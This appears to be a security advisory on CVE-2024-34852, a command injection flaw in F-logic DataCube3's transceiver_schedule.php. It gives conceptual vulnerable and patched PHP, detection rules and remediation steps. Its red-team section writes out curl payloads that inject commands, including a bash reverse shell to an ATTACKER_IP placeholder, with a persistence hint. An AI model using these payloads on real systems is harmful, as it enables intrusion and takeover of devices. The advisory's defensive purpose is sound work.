CVE-2024-34852

Executive Summary

CVE-2024-34852 is a critical command injection vulnerability affecting F-logic DataCube3 v1.0. The flaw resides in the ./admin/transceiver_schedule.php file, where improper string filtering allows an unauthenticated remote attacker to inject arbitrary system commands via a crafted file name. Successful exploitation leads to full remote code execution (RCE) on the underlying operating system. No public proof-of-concept (PoC) or patch is currently available, making this a high-priority zero-day for asset owners.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Vulnerability does not cross trust boundaries.
• Confidentiality (C): High (H) – Full system read access.
• Integrity (I): High (H) – Full system write access.
• Availability (A): High (H) – Full system disruption possible.

CVSS Score: 9.8 (Critical)

Deep Dive & Mechanics

The vulnerability exists in the transceiver_schedule.php script, which handles file uploads or file name parameters for transceiver scheduling. The application fails to sanitize user-supplied file names before passing them to a system command execution function (e.g., exec(), system(), or shell_exec()). An attacker can inject shell metacharacters such as ;, |, &, or backticks within the file name parameter. When the application constructs a command like cp <user_input> /some/path or mv <user_input> /some/path, the injected payload is executed with the privileges of the web server (typically www-data or root).

Attack Flow:

1. Attacker sends a POST/GET request to /admin/transceiver_schedule.php with a malicious file name parameter.
2. The parameter contains a command injection payload, e.g., ;id > /tmp/out.
3. The application concatenates this into a system command without sanitization.
4. The OS executes the injected command, writing output to /tmp/out.
5. Attacker retrieves the output or executes further commands.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

<?php
$filename = $_POST['filename'];
$command = "cp " . $filename . " /var/data/transceiver/";
exec($command, $output, $return_var);
?>

Patched Code (Conceptual):

<?php
$filename = $_POST['filename'];
// Sanitize: remove shell metacharacters
$filename = preg_replace('/[;&|`$(){}[\]<>]/', '', $filename);
// Use escapeshellarg to prevent injection
$command = "cp " . escapeshellarg($filename) . " /var/data/transceiver/";
exec($command, $output, $return_var);
?>

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Target: F-logic DataCube3 v1.0 (physical or virtual appliance)
• Attacker: Kali Linux with curl and nc

Exploitation Steps:

1. Identify the vulnerable endpoint:

   curl -k -X POST "https://<target>/admin/transceiver_schedule.php" \
   --data-urlencode "filename=test;id"
   

2. Execute a reverse shell:

   # Attacker listener
   nc -lvnp 4444
   # Payload
   curl -k -X POST "https://<target>/admin/transceiver_schedule.php" \
   --data-urlencode "filename=test;bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"
   

3. Persistence: Add SSH key or create a cron job.

Note: No public exploit code is available; the above is a conceptual demonstration.

Blue Team (Defensive)

Detection:

• Monitor web server logs for unusual POST requests to /admin/transceiver_schedule.php containing shell metacharacters.
• Deploy WAF rules to block ;, |, &, backticks in file name parameters.
• Enable command-line auditing (e.g., auditd) to capture execve syscalls from the web server process.

Hunting:

• Search for processes spawned by the web server user with suspicious arguments.
• Check for outbound connections from the DataCube3 appliance to unknown IPs on high ports.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2024_34852_CommandInjection {
    meta:
        description = "Detects command injection attempts targeting F-logic DataCube3 transceiver_schedule.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-34852"
    strings:
        $php_file = "transceiver_schedule.php" nocase
        $shell_meta = /[;&|`$(){}[\]<>]/
    condition:
        $php_file and #shell_meta > 2
}

Sigma Rule

title: CVE-2024-34852 Command Injection in F-logic DataCube3
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with shell metacharacters in the filename parameter to transceiver_schedule.php
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'transceiver_schedule.php'
        cs-uri-query|re: 'filename=.*[;&|`$(){}[\]<>].*'
    condition: selection
falsepositives:
    - Legitimate file names containing special characters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-34852 F-logic DataCube3 Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"transceiver_schedule.php"; http_uri; pcre:"/filename=[^&]*[;&|`$(){}[\]<>]/Pi"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the DataCube3 appliance from untrusted networks (place behind a firewall with strict ACLs).
2. Disable the transceiver_schedule.php endpoint if not in use (e.g., via .htaccess or web server config).
3. Apply input validation at the WAF level to block shell metacharacters in file name parameters.

Long-Term Fix:

• Vendor must release a patch that uses escapeshellarg() or parameterized APIs instead of string concatenation.
• Until a patch is available, consider replacing the appliance or implementing a reverse proxy with deep inspection.

Workaround:

• Modify the PHP file manually to sanitize input (if source code is accessible):

  $filename = preg_replace('/[;&|`$(){}[\]<>]/', '', $_POST['filename']);
  

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst